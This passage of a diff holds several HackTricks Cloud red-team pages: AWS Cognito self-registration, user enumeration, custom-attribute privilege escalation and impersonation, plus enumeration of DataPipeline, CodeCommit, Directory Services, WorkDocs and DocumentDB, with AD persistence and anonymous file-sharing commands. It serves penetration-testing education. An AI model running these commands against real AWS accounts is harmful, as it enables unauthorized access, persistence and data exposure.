User Pools allows by **default** to **register new users**.
```bash
aws cognito-idp sign-up --client-id <client-id> \
--username <username> --password <password> \
--region <region> --no-sign-request
```
#### If anyone can register
You might find an error indicating you that you need to **provide more details** of abut the user:
```
An error occurred (InvalidParameterException) when calling the SignUp operation: Attributes did not conform to the schema: address: The attribute is required
```
You can provide the needed details with a JSON such as:
```json
--user-attributes '[{"Name": "email", "Value": "carlospolop@gmail.com"}, {"Name":"gender", "Value": "M"}, {"Name": "address", "Value": "street"}, {"Name": "custom:custom_name", "Value":"supername&\"*$"}]'
```
You could use this functionality also to **enumerate existing users.** This is the error message when a user already exists with that name:
```
An error occurred (UsernameExistsException) when calling the SignUp operation: User already exists
```
{% hint style="info" %}
Note in the previous command how the **custom attributes start with "custom:"**.\
Also know that when registering you **cannot create for the user new custom attributes**. You can only give value to **default attributes** (even if they aren't required) and **custom attributes specified**.
{% endhint %}
Or just to test if a client id exists. This is the error if the client-id doesn't exist:
```
An error occurred (ResourceNotFoundException) when calling the SignUp operation: User pool client 3ig612gjm56p1ljls1prq2miut does not exist.
```
#### If only admin can register users
You will find this error and you own't be able to register or enumerate users:
```
An error occurred (NotAuthorizedException) when calling the SignUp operation: SignUp is not permitted for this user pool
```
### Verifying Registration
Cognito allows to **verify a new user by verifying his email or phone number**. Therefore, when creating a user usually you will be required at least the username and password and the **email and/or telephone number**. Just set one **you control** so you will receive the code to **verify your** newly created user **account** like this:
```bash
aws cognito-idp confirm-sign-up --client-id <cliet_id> \
--username aasdasd2 --confirmation-code <conf_code> \
--no-sign-request --region us-east-1
```
{% hint style="warning" %}
Even if **looks like you can use the same email** and phone number, when you need to verify the created user Cognito will complain about using the same info and **won't let you verify the account**.
{% endhint %}
### Privilege Escalation / Updating Attributes
By default a user can **modify the value of his attributes** with something like:
```bash
aws cognito-idp update-user-attributes \
--region us-east-1 --no-sign-request \
--user-attributes Name=address,Value=street \
--access-token <access token>
```
#### Custom attribute privesc
{% hint style="danger" %}
You might find **custom attributes** being used (such as `isAdmin`), as by default you can **change the values of your own attributes** you might be able to **escalate privileges** changing the value yourself!
{% endhint %}
#### Email/username modification privesc
You can use this to **modify the email and phone number** of a user, but then, even if the account remains as verified, those attributes are **set in unverified status** (you need to verify them again).
{% hint style="warning" %}
You **won't be able to login with email or phone number** until you verify them, but you will be **able to login with the username**.\
Note that even if the email was modified and not verified it will appear in the ID Token inside the **`email`** **field** and the filed **`email_verified`** will be **false**, but if the app **isn't checking that you might impersonate other users**.
Moreover, note that you can put anything inside the **`name`** field just modifying the **name attribute**. If an app is **checking** **that** field for some reason **instead of the `email`** (or any other attribute) you might be able to **impersonate other users**.
{% endhint %}
Anyway, if for some reason you changed your email for example to a new one you can access you can **confirm the email with the code you received in that email address**:
```bash
aws cognito-idp verify-user-attribute \
--access-token <access_token> \
--attribute-name email --code <code> \
--region <region> --no-sign-request
```
Use **`phone_number`** instead of **`email`** to change/verify a **new phone number**.
{% hint style="info" %}
The admin could also enable the option to **login with a user preferred username**. Note that you won't be able to change this value to **any username or preferred\_username already being used** to impersonate a different user.
{% endhint %}
### Recover/Change Password
It's possible to recover a password just **knowing the username** (or email or phone is accepted) and having access to it as a code will be sent there:
```bash
aws cognito-idp forgot-password \
--client-id <client_id> \
--username <username/email/phone> --region <region>
```
{% hint style="info" %}
The response of the server is always going to be positive, like if the username existed. You cannot use this method to enumerate users
{% endhint %}
With the code you can change the password with:
```bash
aws cognito-idp confirm-forgot-password \
--client-id <client_id> \
--username <username> \
--confirmation-code <conf_code> \
--password <pwd> --region <region>
```
To change the password you need to **know the previous password**:
```bash
aws cognito-idp change-password \
--previous-password <value> \
--proposed-password <value> \
--access-token <value>
```
## Authentication
A user pool supports **different ways to authenticate** to it. If you have a **username and password** there are also **different methods** supported to login.\
Moreover, when a user is authenticated in the Pool **3 types of tokens are given**: The **ID Token**, the **Access token** and the **Refresh token**.
* [**ID Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): It contains claims about the **identity of the authenticated user,** such as `name`, `email`, and `phone_number`. The ID token can also be used to **authenticate users to your resource servers or server applications**. You must **verify** the **signature** of the ID token before you can trust any claims inside the ID token if you use it in external applications.
* The ID Token is the token that **contains the attributes values of the user**, even the custom ones.
* [**Access Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): It contains claims about the authenticated user, a list of the **user's groups, and a list of scopes**. The purpose of the access token is to **authorize API operations** in the context of the user in the user pool. For example, you can use the access token to **grant your user access** to add, change, or delete user attributes.
* [**Refresh Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): With refresh tokens you can **get new ID Tokens and Access Tokens** for the user until the **refresh token is invalid**. By **default**, the refresh token **expires 30 days after** your application user signs into your user pool. When you create an application for your user pool, you can set the application's refresh token expiration to **any value between 60 minutes and 10 years**.
### ADMIN\_NO\_SRP\_AUTH & ADMIN\_USER\_PASSWORD\_AUTH
This is the server side authentication flow:
* The server-side app calls the **`AdminInitiateAuth` API operation** (instead of `InitiateAuth`). This operation requires AWS credentials with permissions that include **`cognito-idp:AdminInitiateAuth`** and **`cognito-idp:AdminRespondToAuthChallenge`**. The operation returns the required authentication parameters.
* After the server-side app has the **authentication parameters**, it calls the **`AdminRespondToAuthChallenge` API operation**. The `AdminRespondToAuthChallenge` API operation only succeeds when you provide AWS credentials.
This **method is NOT enabled** by default.
To **login** you **need** to know:
* user pool id
* client id
* username
* password
* client secret (only if the app is configured to use a secret)
{% hint style="info" %}
In order to be **able to login with this method** that application must allow to login with `ALLOW_ADMIN_USER_PASSWORD_AUTH`.\
Moreover, to perform this action you need credentials with the permissions **`cognito-idp:AdminInitiateAuth`** and **`cognito-idp:AdminRespondToAuthChallenge`**
{% endhint %}
```python
aws cognito-idp admin-initiate-auth \
--client-id <client-id> \
--auth-flow ADMIN_USER_PASSWORD_AUTH \
--region <region> \
--auth-parameters 'USERNAME=<username>,PASSWORD=<password>,SECRET_HASH=<hash_if_needed>'
--user-pool-id "<pool-id>"
# Check the python code to learn how to generate the hsecret_hash
```
<details>
<summary>Code to Login</summary>
```python
import boto3
import botocore
import hmac
import hashlib
import base64
client_id = "<client-id>"
user_pool_id = "<user-pool-id>"
client_secret = "<client-secret>"
username = "<username>"
password = "<pwd>"
boto_client = boto3.client('cognito-idp', region_name='us-east-1')
def get_secret_hash(username, client_id, client_secret):
key = bytes(client_secret, 'utf-8')
message = bytes(f'{username}{client_id}', 'utf-8')
return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode()
# If the Client App isn't configured to use a secret
## just delete the line setting the SECRET_HASH
def login_user(username_or_alias, password, client_id, client_secret, user_pool_id):
try:
return boto_client.admin_initiate_auth(
UserPoolId=user_pool_id,
ClientId=client_id,
AuthFlow='ADMIN_USER_PASSWORD_AUTH',
AuthParameters={
'USERNAME': username_or_alias,
'PASSWORD': password,
'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret)
}
)
except botocore.exceptions.ClientError as e:
return e.response
print(login_user(username, password, client_id, client_secret, user_pool_id))
```
</details>
### USER\_PASSWORD\_AUTH
This method is another simple and **traditional user & password authentication** flow. It's recommended to **migrate a traditional** authentication method **to Cognito** and **recommended** to then **disable** it and **use** then **ALLOW\_USER\_SRP\_AUTH** method instead (as that one never sends the password over the network).\
This **method is NOT enabled** by default.
The main **difference** with the **previous auth method** inside the code is that you **don't need to know the user pool ID** and that you **don't need extra permissions** in the Cognito User Pool.
To **login** you **need** to know:
* client id
* username
* password
* client secret (only if the app is configured to use a secret)
{% hint style="info" %}
In order to be **able to login with this method** that application must allow to login with ALLOW\_USER\_PASSWORD\_AUTH.
{% endhint %}
```python
aws cognito-idp initiate-auth --client-id <client-id> \
--auth-flow USER_PASSWORD_AUTH --region <region> \
--auth-parameters 'USERNAME=<username>,PASSWORD=<password>,SECRET_HASH=<hash_if_needed>'
# Check the python code to learn how to generate the secret_hash
```
<details>
<summary>Python code to Login</summary>
```python
import boto3
import botocore
import hmac
import hashlib
import base64
client_id = "<client-id>"
user_pool_id = "<user-pool-id>"
client_secret = "<client-secret>"
username = "<username>"
password = "<pwd>"
boto_client = boto3.client('cognito-idp', region_name='us-east-1')
def get_secret_hash(username, client_id, client_secret):
key = bytes(client_secret, 'utf-8')
message = bytes(f'{username}{client_id}', 'utf-8')
return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode()
# If the Client App isn't configured to use a secret
## just delete the line setting the SECRET_HASH
def login_user(username_or_alias, password, client_id, client_secret, user_pool_id):
try:
return boto_client.initiate_auth(
ClientId=client_id,
AuthFlow='ADMIN_USER_PASSWORD_AUTH',
AuthParameters={
'USERNAME': username_or_alias,
'PASSWORD': password,
'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret)
}
)
except botocore.exceptions.ClientError as e:
return e.response
print(login_user(username, password, client_id, client_secret, user_pool_id))
```
</details>
### USER\_SRP\_AUTH
This is scenario is similar to the previous one but **instead of of sending the password** through the network to login a **challenge authentication is performed** (so no password navigating even encrypted through he net).\
This **method is enabled** by default.
To **login** you **need** to know:
* user pool id
* client id
* username
* password
* client secret (only if the app is configured to use a secret)
<details>
<summary>Code to login</summary>
```python
from warrant.aws_srp import AWSSRP
import os
USERNAME='xxx'
PASSWORD='yyy'
POOL_ID='us-east-1_zzzzz'
CLIENT_ID = '12xxxxxxxxxxxxxxxxxxxxxxx'
CLIENT_SECRET = 'secreeeeet'
os.environ["AWS_DEFAULT_REGION"] = "<region>"
aws = AWSSRP(username=USERNAME, password=PASSWORD, pool_id=POOL_ID,
client_id=CLIENT_ID, client_secret=CLIENT_SECRET)
tokens = aws.authenticate_user()
id_token = tokens['AuthenticationResult']['IdToken']
refresh_token = tokens['AuthenticationResult']['RefreshToken']
access_token = tokens['AuthenticationResult']['AccessToken']
token_type = tokens['AuthenticationResult']['TokenType']
```
</details>
### REFRESH\_TOKEN\_AUTH & REFRESH\_TOKEN
This **method is always going to be valid** (it cannot be disabled) but you need to have a valid refresh token.
```bash
aws cognito-idp initiate-auth \
--client-id 3ig6h5gjm56p1ljls1prq2miut \
--auth-flow REFRESH_TOKEN_AUTH \
--region us-east-1 \
--auth-parameters 'REFRESH_TOKEN=<token>'
```
<details>
<summary>Code to refresh</summary>
```python
import boto3
import botocore
import hmac
import hashlib
import base64
client_id = "<client-id>"
token = '<token>'
boto_client = boto3.client('cognito-idp', region_name='<region>')
def refresh(client_id, refresh_token):
try:
return boto_client.initiate_auth(
ClientId=client_id,
AuthFlow='REFRESH_TOKEN_AUTH',
AuthParameters={
'REFRESH_TOKEN': refresh_token
}
)
except botocore.exceptions.ClientError as e:
return e.response
print(refresh(client_id, token))
```
</details>
### CUSTOM\_AUTH
In this case the **authentication** is going to be performed through the **execution of a lambda function**.
## Extra Security
### Advanced Security
By default it's disabled, but if enabled, Cognito could be able to **find account takeovers**. To minimise the probability you should login from a **network inside the same city, using the same user agent** (and IP is thats possible)**.**
### **MFA Remember device**
If the user logins from the same device, the MFA might be bypassed, therefore try to login from the same browser with the same metadata (IP?) to try to bypass the MFA protection.
## User Pool Groups IAM Roles
It's possible to add **users to User Pool** groups that are related to one **IAM roles**.\
Moreover, **users** can be assigned to **more than 1 group with different IAM roles** attached.
Note that even if a group is inside a group with an IAM role attached, in order to be able to access IAM credentials of that group it's needed that the **User Pool is trusted by an Identity Pool** (and know the details of that Identity Pool).
Another requisite to get the **IAM role indicated in the IdToken** when a user is authenticated in the User Pool (`aws cognito-idp initiate-auth...`) is that the **Identity Provider Authentication provider** needs indicate that the **role must be selected from the token.**
<figure><img src="../../../../.gitbook/assets/image (250).png" alt=""><figcaption></figcaption></figure>
The **roles** a user have access to are **inside the `IdToken`**, and a user can **select which role he would like credentials for** with the **`--custom-role-arn`** from `aws cognito-identity get-credentials-for-identity`.\
However, if the **default option** is the one **configured** (`use default role`), and you try to access a role from the IdToken, you will get **error** (that's why the previous configuration is needed):
{% code overflow="wrap" %}
```
An error occurred (InvalidParameterException) when calling the GetCredentialsForIdentity operation: Only SAML providers and providers with RoleMappings support custom role ARN.
```
{% endcode %}
{% hint style="warning" %}
Note that the role assigned to a **User Pool Group** needs to be **accesible by the Identity Provider** that **trust the User Pool** (as the IAM role **session credentials are going to be obtained from it**).
{% endhint %}
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "cognito-identity.amazonaws.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"cognito-identity.amazonaws.com:aud": "us-east-1:2361092e-9db6-a876-1027-10387c9de439"
},
"ForAnyValue:StringLike": {
"cognito-identity.amazonaws.com:amr": "authenticated"
}
}
}
]
}js
```
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,129 @@
# AWS - DataPipeline, CodePipeline & CodeCommit Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## DataPipeline
AWS Data Pipeline is designed to facilitate the **access, transformation, and efficient transfer** of data at scale. It allows the following operations to be performed:
1. **Access Your Data Where Its Stored**: Data residing in various AWS services can be accessed seamlessly.
2. **Transform and Process at Scale**: Large-scale data processing and transformation tasks are handled efficiently.
3. **Efficiently Transfer Results**: The processed data can be efficiently transferred to multiple AWS services including:
* Amazon S3
* Amazon RDS
* Amazon DynamoDB
* Amazon EMR
In essence, AWS Data Pipeline streamlines the movement and processing of data between different AWS compute and storage services, as well as on-premises data sources, at specified intervals.
### Enumeration
```bash
aws datapipeline list-pipelines
aws datapipeline describe-pipelines --pipeline-ids <ID>
aws datapipeline list-runs --pipeline-id <ID>
aws datapipeline get-pipeline-definition --pipeline-id <ID>
```
### Privesc
In the following page you can check how to **abuse datapipeline permissions to escalate privileges**:
{% content-ref url="../aws-privilege-escalation/aws-datapipeline-privesc.md" %}
[aws-datapipeline-privesc.md](../aws-privilege-escalation/aws-datapipeline-privesc.md)
{% endcontent-ref %}
## CodePipeline
AWS CodePipeline is a fully managed **continuous delivery service** that helps you **automate your release pipelines** for fast and reliable application and infrastructure updates. CodePipeline automates the **build, test, and deploy phases** of your release process every time there is a code change, based on the release model you define.
### Enumeration
```bash
aws codepipeline list-pipelines
aws codepipeline get-pipeline --name <pipeline_name>
aws codepipeline list-action-executions --pipeline-name <pl_name>
aws codepipeline list-pipeline-executions --pipeline-name <pl_name>
aws codepipeline list-webhooks
aws codepipeline get-pipeline-state --name <pipeline_name>
```
### Privesc
In the following page you can check how to **abuse codepipeline permissions to escalate privileges**:
{% content-ref url="../aws-privilege-escalation/aws-codepipeline-privesc.md" %}
[aws-codepipeline-privesc.md](../aws-privilege-escalation/aws-codepipeline-privesc.md)
{% endcontent-ref %}
## CodeCommit
It is a **version control service**, which is hosted and fully managed by Amazon, which can be used to privately store data (documents, binary files, source code) and manage them in the cloud.
It **eliminates** the requirement for the user to know Git and **manage their own source control system** or worry about scaling up or down their infrastructure. Codecommit supports all the standard **functionalities that can be found in Git**, which means it works effortlessly with users current Git-based tools.
### Enumeration
```bash
# Repos
aws codecommit list-repositories
aws codecommit get-repository --repository-name <name>
aws codecommit get-repository-triggers --repository-name <name>
aws codecommit list-branches --repository-name <name>
aws codecommit list-pull-requests --repository-name <name>
# Approval rules
aws codecommit list-approval-rule-templates
aws codecommit get-approval-rule-template --approval-rule-template-name <name>
aws codecommit list-associated-approval-rule-templates-for-repository --repository-name <name>
# Get & Put files
## Get a file
aws codecommit get-file --repository-name backend-api --file-path app.py
## Put a file
aws codecommit get-branch --repository-name backend-api --branch-name master
aws codecommit put-file --repository-name backend-api --branch-name master --file-content fileb://./app.py --file-path app.py --parent-commit-id <commit-id>
# SSH Keys & Clone repo
## Get codecommit keys
aws iam list-ssh-public-keys #User keys for CodeCommit
aws iam get-ssh-public-key --user-name <username> --ssh-public-key-id <id> --encoding SSH #Get public key with metadata
# The previous command will give you the fingerprint of the ssh key
# With the next command you can check the fingerprint of an ssh key and compare them
ssh-keygen -f .ssh/id_rsa -l -E md5
# Clone repo
git clone ssh://<SSH-KEY-ID>@git-codecommit.<REGION>.amazonaws.com/v1/repos/<repo-name>
```
## References
* [https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html](https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,147 @@
# AWS - Directory Services / WorkDocs Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Directory Services
AWS Directory Service for Microsoft Active Directory is a managed service that makes it easy to **set up, operate, and scale a directory** in the AWS Cloud. It is built on actual **Microsoft Active Directory** and integrates tightly with other AWS services, making it easy to manage your directory-aware workloads and AWS resources. With AWS Managed Microsoft AD, you can **use your existing** Active Directory users, groups, and policies to manage access to your AWS resources. This can help simplify your identity management and reduce the need for additional identity solutions. AWS Managed Microsoft AD also provides automatic backups and disaster recovery capabilities, helping to ensure the availability and durability of your directory. Overall, AWS Directory Service for Microsoft Active Directory can help you save time and resources by providing a managed, highly available, and scalable Active Directory service in the AWS Cloud.
### Options
Directory Services allows to create 5 types of directories:
* **AWS Managed Microsoft AD**: Which will run a new **Microsoft AD in AWS**. You will be able to set the admin password and access the DCs in a VPC.
* **Simple AD**: Which will be a **Linux-Samba** Active Directorycompatible server. You will be able to set the admin password and access the DCs in a VPC.
* **AD Connector**: A proxy for **redirecting directory requests to your existing Microsoft Active Directory** without caching any information in the cloud. It will be listening in a **VPC** and you need to give **credentials to access the existing AD**.
* **Amazon Cognito User Pools**: This is the same as Cognito User Pools.
* **Cloud Directory**: This is the **simplest** one. A **serverless** directory where you indicate the **schema** to use and are **billed according to the usage**.
AWS Directory services allows to **synchronise** with your existing **on-premises** Microsoft AD, **run your own one** in AWS or synchronize with **other directory types**.
### Lab
Here you can find a nice tutorial to create you own Microsoft AD in AWS: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms\_ad\_tutorial\_test\_lab\_base.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html)
### Enumeration
```bash
# Get directories and DCs
aws ds describe-directories
aws ds describe-domain-controllers --directory-id <id>
# Get directory settings
aws ds describe-trusts
aws ds describe-ldaps-settings --directory-id <id>
aws ds describe-shared-directories --owner-directory-id <id>
aws ds get-directory-limits
aws ds list-certificates --directory-id <id>
aws ds describe-certificate --directory-id <id> --certificate-id <id>
```
### Login
Note that if the **description** of the directory contained a **domain** in the field **`AccessUrl`** it's because a **user** can probably **login** with its **AD credentials** in some **AWS services:**
* `<name>.awsapps.com/connect` (Amazon Connect)
* `<name>.awsapps.com/workdocs` (Amazon WorkDocs)
* `<name>.awsapps.com/workmail` (Amazon WorkMail)
* `<name>.awsapps.com/console` (Amazon Management Console)
* `<name>.awsapps.com/start` (IAM Identity Center)
### Privilege Escalation
{% content-ref url="../aws-privilege-escalation/aws-directory-services-privesc.md" %}
[aws-directory-services-privesc.md](../aws-privilege-escalation/aws-directory-services-privesc.md)
{% endcontent-ref %}
## Persistence
### Using an AD user
An **AD user** can be given **access over the AWS management console** via a Role to assume. The **default username is Admin** and it's possible to **change its password** from AWS console.
Therefore, it's possible to **change the password of Admin**, **create a new user** or **change the password** of a user and grant that user a Role to maintain access.\
It's also possible to **add a user to a group inside AD** and **give that AD group access to a Role** (to make this persistence more stealth).
### Sharing AD (from victim to attacker)
It's possible to share an AD environment from a victim to an attacker. This way the attacker will be able to continue accessing the AD env.\
However, this implies sharing the managed AD and also creating an VPC peering connection.
You can find a guide here: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1\_setup\_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html)
### ~~Sharing AD (from attacker to victim)~~
It doesn't look like possible to grant AWS access to users from a different AD env to one AWS account.
## WorkDocs
Amazon Web Services (AWS) WorkDocs is a cloud-based **file storage and sharing service**. It is part of the AWS suite of cloud computing services and is designed to provide a secure and scalable solution for organizations to store, share, and collaborate on files and documents.
AWS WorkDocs provides a web-based interface for users to upload, access, and manage their files and documents. It also offers features such as version control, real-time collaboration, and integration with other AWS services and third-party tools.
### Enumeration
{% code overflow="wrap" %}
```bash
# Get AD users (Admin not included)
aws workdocs describe-users --organization-id <directory-id>
# Get AD groups (containing "a")
aws workdocs describe-groups --organization-id d-9067a0285c --search-query a
# Create user (created inside the AD)
aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password <password> --email-address name@directory.domain --organization-id <directory-id>
# Get what each user has created
aws workdocs describe-activities --user-id "S-1-5-21-377..."
# Get what was created in the directory
aws workdocs describe-activities --organization-id <directory-id>
# Get folder content
aws workdocs describe-folder-contents --folder-id <fold-id>
# Get file (a url to access with the content will be retreived)
aws workdocs get-document --document-id <doc-id>
# Get resource permissions if any
aws workdocs describe-resource-permissions --resource-id <value>
# Add permission so anyway can see the file
aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER
## This will give an id, the file will be acesible in: https://<name>.awsapps.com/workdocs/index.html#/share/document/<id>
```
{% endcode %}
### Privesc
{% content-ref url="../aws-privilege-escalation/aws-workdocs-privesc.md" %}
[aws-workdocs-privesc.md](../aws-privilege-escalation/aws-workdocs-privesc.md)
{% endcontent-ref %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,66 @@
# AWS - DocumentDB Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## DocumentDB
Amazon DocumentDB, offering compatibility with MongoDB, is presented as a **fast, reliable, and fully managed database service**. Designed for simplicity in deployment, operation, and scalability, it allows the **seamless migration and operation of MongoDB-compatible databases in the cloud**. Users can leverage this service to execute their existing application code and utilize familiar drivers and tools, ensuring a smooth transition and operation akin to working with MongoDB.
### Enumeration
```bash
aws docdb describe-db-clusters # Get username from "MasterUsername", get also the endpoint from "Endpoint"
aws docdb describe-db-instances #Get hostnames from here
# Parameter groups
aws docdb describe-db-cluster-parameter-groups
aws docdb describe-db-cluster-parameters --db-cluster-parameter-group-name <param_group_name>
# Snapshots
aws docdb describe-db-cluster-snapshots
aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attributes --db-cluster-snapshot-identifier <snap_id>
```
### NoSQL Injection
As DocumentDB is a MongoDB compatible database, you can imagine it's also vulnerable to common NoSQL injection attacks:
{% embed url="https://book.hacktricks.xyz/pentesting-web/nosql-injection" %}
### DocumentDB
{% content-ref url="../aws-unauthenticated-enum-access/aws-documentdb-enum.md" %}
[aws-documentdb-enum.md](../aws-unauthenticated-enum-access/aws-documentdb-enum.md)
{% endcontent-ref %}
## References
* [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
